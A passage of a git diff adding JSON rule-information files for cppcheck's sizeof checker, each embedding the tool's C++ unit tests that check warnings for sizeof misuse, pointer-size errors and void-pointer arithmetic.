malloc(sizeof(cpp_hashnode *) * macro->paramc);\\n\"\n \" memcpy(params, macro->params, sizeof(cpp_hashnode *) * macro->paramc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* foo() {\\n\"\n \" void* AtomName = malloc(sizeof(char *) * 34);\\n\"\n \" return AtomName;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPointerSizeofStruct() {\n check(\"void f() {\\n\"\n \" struct foo *ptr;\\n\"\n \" memset( ptr->bar, 0, sizeof ptr->bar );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct foo {\\n\"\n \" char bar[10];\\n\"\n \" }* ptr;\\n\"\n \" memset( ptr->bar, 0, sizeof ptr->bar );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct foo {\\n\"\n \" char *bar;\\n\"\n \" }* ptr;\\n\"\n \" memset( ptr->bar, 0, sizeof ptr->bar );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (warning) Size of pointer 'bar' used instead of size of its data. [pointerSize]\\n\", errout_str());\n }\n\n void sizeofDivisionMemset() {\n check(\"void foo(memoryMapEntry_t* entry, memoryMapEntry_t* memoryMapEnd) {\\n\"\n \" memmove(entry, entry + 1, (memoryMapEnd - entry) / sizeof(entry));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:56]: (warning, inconclusive) Division of result of sizeof() on pointer type. [divideSizeof]\\n\"\n \"[test.cpp:2:54]: (warning) Division by result of sizeof(). memmove() expects a size in bytes, did you intend to multiply instead? [sizeofDivisionMemfunc]\\n\",\n errout_str());\n\n check(\"Foo* allocFoo(int num) {\\n\"\n \" return malloc(num / sizeof(Foo));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (warning) Division by result of sizeof(). malloc() expects a size in bytes, did you intend to multiply instead? [sizeofDivisionMemfunc]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char str[100];\\n\"\n \" strncpy(str, xyz, sizeof(str)/sizeof(str[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #9648\n \" int a[5] = { 0 };\\n\"\n \" int b[5];\\n\"\n \" memcpy(b, a, ((sizeof(a) / sizeof(a[0])) - 1) * sizeof(a[0]));\\n\"\n \" memcpy(b, a, sizeof(a[0]) * ((sizeof(a) / sizeof(a[0])) - 1));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sizeofVoid() {\n check(\"void f() {\\n\"\n \" int size = sizeof(void);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (portability) Behaviour of 'sizeof(void)' is not covered by the ISO C standard. [sizeofVoid]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p;\\n\"\n \" int size = sizeof(*p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (portability) '*p' is of type 'void', the behaviour of 'sizeof(void)' is not covered by the ISO C standard. [sizeofDereferencedVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p = malloc(10);\\n\"\n \" int* p2 = p + 4;\\n\"\n \" int* p3 = p - 1;\\n\"\n \" int* p4 = 1 + p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) 'p' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:4:15]: (portability) 'p' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:5:15]: (portability) 'p' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1 = malloc(10);\\n\"\n \" void* p2 = malloc(5);\\n\"\n \" p1--;\\n\"\n \" p2++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) 'p1' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:5:5]: (portability) 'p2' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1 = malloc(10);\\n\"\n \" void* p2 = malloc(5);\\n\"\n \" p1-=4;\\n\"\n \" p2+=4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) 'p1' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:5:5]: (portability) 'p2' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p = malloc(10);\\n\"\n \" int* p2 = &p + 4;\\n\"\n \" int* p3 = &p - 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void** p1 = malloc(10);\\n\"\n \" p1--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void** p1;\\n\"\n \" int j = sizeof(*p1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1[5];\\n\"\n \" int j = sizeof(*p1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Calculations on void* with casts\n\n check(\"void f(void *data) {\\n\"\n \" *((unsigned char *)data + 1) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" *((unsigned char *)(data) + 1) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" unsigned char* c = (unsigned char *)(data + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" unsigned char* c = (unsigned char *)data++;\\n\"\n \" unsigned char* c2 = (unsigned char *)++data;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:43]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:3:40]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" void* data2 = data + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n // #4908 (void pointer as a member of a struct/class)\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"char f(struct FOO foo) {\\n\"\n \" char x = *((char*)(foo.data+1));\\n\"\n \" foo.data++;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:30]: (portability) 'foo.data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:6:11]: (portability) 'foo.data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"char f(struct FOO foo) {\\n\"\n \" char x = *((char*)foo.data+1);\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"char f2(struct FOO foo) {\\n\"\n \" char x = *((char*)((FOO)foo).data + 1);\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"char f3(struct FOO* foo) {\\n\"\n \" char x = *((char*)foo->data + 1);\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"struct BOO {\\n\"\n \" FOO data;\\n\"\n \"};\\n\"\n \"void f4(struct BOO* boo) {\\n\"\n \" char c = *((char*)boo->data.data + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"char f(struct FOO* foo) {\\n\"\n \" *(foo[1].data + 1) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (portability) 'foo[1].data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"void f2(struct FOO* foo) {\\n\"\n \" (foo[0]).data++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (portability) '(foo[0]).data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n // #6050 arithmetic on void**\n check(\"void* array[10];\\n\"\n \"void** b = array + 3;\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void customStrncat() {\n // Ensure we don't crash on custom-defined strncat, ticket #5875\n check(\"char strncat ();\\n\"\n \"int main () {\\n\"\n \" return strncat ();\\n\"\n \"}\");\n }\n\n};\n\nREGISTER_TEST(TestSizeof)\n\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/sizeofVoid.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/sizeofVoid.json new file mode 100644 index 0000000..d3b6ace --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/sizeofVoid.json @@ -0,0 +1,22 @@ +{ + "name": "sizeofVoid", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 31, + "branches": 14, + "apis": 54, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 779 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checksizeof.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n\nclass TestSizeof : public TestFixture {\npublic:\n TestSizeof() : TestFixture(\"TestSizeof\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability).certainty(Certainty::inconclusive).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(sizeofsizeof);\n TEST_CASE(sizeofCalculation);\n TEST_CASE(sizeofFunction);\n TEST_CASE(checkPointerSizeof);\n TEST_CASE(checkPointerSizeofStruct);\n TEST_CASE(sizeofDivisionMemset);\n TEST_CASE(sizeofForArrayParameter);\n TEST_CASE(sizeofForNumericParameter);\n TEST_CASE(suspiciousSizeofCalculation);\n TEST_CASE(sizeofVoid);\n TEST_CASE(customStrncat);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size]) {\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenize..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n void sizeofsizeof() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i = sizeof sizeof char;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (warning) Calling 'sizeof' on 'sizeof'. [sizeofsizeof]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i = sizeof (sizeof long);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (warning) Calling 'sizeof' on 'sizeof'. [sizeofsizeof]\\n\", errout_str());\n\n check(\"void foo(long *p)\\n\"\n \"{\\n\"\n \" int i = sizeof (sizeof (p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (warning) Calling 'sizeof' on 'sizeof'. [sizeofsizeof]\\n\", errout_str());\n }\n\n void sizeofCalculation() {\n check(\"int a, b; int a,sizeof(a+b)\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"int a, b; sizeof(a*b)\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"int a, b; sizeof(-a)\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"int a, b; sizeof(*a)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(void * const)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(int*[2])\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(Fred**)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(foo++)\");\n ASSERT_EQUALS(\"[test.cpp:1:11]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"sizeof(--foo)\");\n ASSERT_EQUALS(\"[test.cpp:1:8]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n // #6888\n checkP(\"#define SIZEOF1 sizeof(i != 2)\\n\"\n \"#define SIZEOF2 ((sizeof(i != 2)))\\n\"\n \"#define VOIDCAST1 (void)\\n\"\n \"#define VOIDCAST2(SZ) static_cast(SZ)\\n\"\n \"int f(int i) {\\n\"\n \" VOIDCAST1 SIZEOF1;\\n\"\n \" VOIDCAST1 SIZEOF2;\\n\"\n \" VOIDCAST2(SIZEOF1);\\n\"\n \" VOIDCAST2(SIZEOF2);\\n\"\n \" return i + foo(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define SIZEOF1 sizeof(i != 2)\\n\"\n \"#define SIZEOF2 ((sizeof(i != 2)))\\n\"\n \"int f(int i) {\\n\"\n \" SIZEOF1;\\n\"\n \" SIZEOF2;\\n\"\n \" return i + foo(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (warning, inconclusive) Found calculation inside sizeof(). [sizeofCalculation]\\n\"\n \"[test.cpp:5:3]: (warning, inconclusive) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n checkP(\"#define MACRO(data) f(data, sizeof(data))\\n\"\n \"x = MACRO((unsigned int *)data + 4);\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n }\n\n void sizeofFunction() {\n check(\"class Foo\\n\"\n \"{\\n\"\n \" int bar() { return 1; };\\n\"\n \"}\\n\"\n \"Foo f;int a=sizeof(f.bar());\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"class Foo\\n\"\n \"{\\n\"\n \" int bar() { return 1; };\\n\"\n \" int bar() const { return 1; };\\n\"\n \"}\\n\"\n \"Foo f;int a=sizeof(f.bar());\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo\\n\"\n \"{\\n\"\n \" int bar() { return 1; };\\n\"\n \"}\\n\"\n \"Foo * fp;int a=sizeof(fp->bar());\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"int a=sizeof(foo());\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() { return 1; }; int a=sizeof(foo());\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"int foo() { return 1; }; sizeof(decltype(foo()));\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int) { return 1; }; int a=sizeof(foo(0))\");\n ASSERT_EQUALS(\"[test.cpp:1:35]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"char * buf; int a=sizeof(*buf);\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int a=sizeof(foo())\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int) { return 1; }; char buf[1024]; int a=sizeof(buf), foo(0)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"struct A\\n\"\n \"{\\n\"\n \" static B f(const B &);\\n\"\n \" static A f(const A &);\\n\"\n \" static A &g();\\n\"\n \" static T &h();\\n\"\n \"\\n\"\n \" enum {\\n\"\n \" X = sizeof(f(g() >> h())) == sizeof(A),\\n\"\n \" Y = sizeof(f(g() << h())) == sizeof(A),\\n\"\n \" Z = X & Y\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"size_t f1() { return sizeof(x[0]); }\\n\"\n \"size_t f2() { return sizeof(g()); }\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n }\n\n void sizeofForArrayParameter() {\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned int a = 2;\\n\"\n \" unsigned int b = 2;\\n\"\n \" int c[(a+b)];\\n\"\n \" std::cout << sizeof(c) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned int a = { 2 };\\n\"\n \" unsigned int b[] = { 0 };\\n\"\n \" int c[a[b[0]]];\\n\"\n \" std::cout << sizeof(c) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f() {\\n\"\n \" unsigned int a[] = { 1 };\\n\"\n \" unsigned int b = 2;\\n\"\n \" int c[(a[0]+b)];\\n\"\n \" std::cout << sizeof(c) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[] = { 1, 2, 3 };\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[3] = { 1, 2, 3 };\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f( int a[]) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n check(\"void f( int a[]) {\\n\"\n \" std::cout << sizeof a / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n check(\"void f( int a[3] ) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n check(\"typedef char Fixname[1000];\\n\"\n \"int f2(Fixname& f2v) {\\n\"\n \" int i = sizeof(f2v);\\n\"\n \" printf(\\\"sizeof f2v %d\\\", i);\\n\"\n \" }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p) {\\n\"\n \" p[0] = 0;\\n\"\n \" int unused = sizeof(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char p[] = \\\"test\\\";\\n\"\n \" int unused = sizeof(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #2495\n check(\"void f() {\\n\"\n \" static float col[][3]={\\n\"\n \" {1,0,0},\\n\"\n \" {0,0,1},\\n\"\n \" {0,1,0},\\n\"\n \" {1,0,1},\\n\"\n \" {1,0,1},\\n\"\n \" {1,0,1},\\n\"\n \" };\\n\"\n \" const int COL_MAX=sizeof(col)/sizeof(col[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #155\n check(\"void f() {\\n\"\n \" char buff1[1024*64],buff2[sizeof(buff1)*2];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #2510\n check(\"void f( int a[], int b) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n // ticket #2510\n check(\"void f( int a[3] , int b[2] ) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n // ticket #2510\n check(\"void f() {\\n\"\n \" char buff1[1024*64],buff2[sizeof(buff1)*(2+1)];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void sizeofForNumericParameter() {\n check(\"void f() {\\n\"\n \" std::cout << sizeof(10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << sizeof(-10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << sizeof 10 << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << sizeof -10 << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n }\n\n void suspiciousSizeofCalculation() {\n check(\"void f() {\\n\"\n \" int* p;\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning, inconclusive) Division of result of sizeof() on pointer type. [divideSizeof]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unknown p;\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" return sizeof(unknown)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int p;\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* p[5];\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f() {\\n\"\n \" return sizeof(foo)*sizeof(bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning, inconclusive) Multiplying sizeof() with sizeof() indicates a logic error. [multiplySizeof]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (foo)*sizeof(bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" return sizeof(foo)*bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (end - source) / sizeof(encode_block_type) * sizeof(encode_block_type);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { T* t; };\\n\" // #10179\n \"int f(S* s) {\\n\"\n \" return g(sizeof(*s->t) / 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const char* a[N];\\n\"\n \" for (int i = 0; i < (int)(sizeof(a) / sizeof(char*)); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int** p) {\\n\"\n \" return sizeof(p[0]) / 4;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Division of result of sizeof() on pointer type. [divideSizeof]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" unsigned char* s;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s[38];\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" for (size_t i = 0; i < sizeof(t->s) / sizeof(t->s[0]); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" struct T {\\n\"\n \" char* c[3];\\n\"\n \" } t[1];\\n\"\n \"};\\n\"\n \"void f(S* s) {\\n\"\n \" for (int i = 0; i != sizeof(s->t[0].c) / sizeof(char*); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int32_t* buf, size_t len) {\\n\"\n \" for (int i = 0; i < len / sizeof(buf[0]); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int32_t*** buf, size_t len) {\\n\"\n \" for (int i = 0; i < len / sizeof(**buf[0]); i++) {}\\n\"\n \" for (int i = 0; i < len / sizeof(*buf[0][0]); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPointerSizeof() {\n check(\"void f() {\\n\"\n \" char *x = malloc(10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(*x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = (int*)malloc(sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = static_cast(malloc(sizeof(x)));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(&x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int*));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" free(x);\\n\"\n \" int **y = malloc(sizeof(int*));\\n\"\n \" free(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(100 * sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n 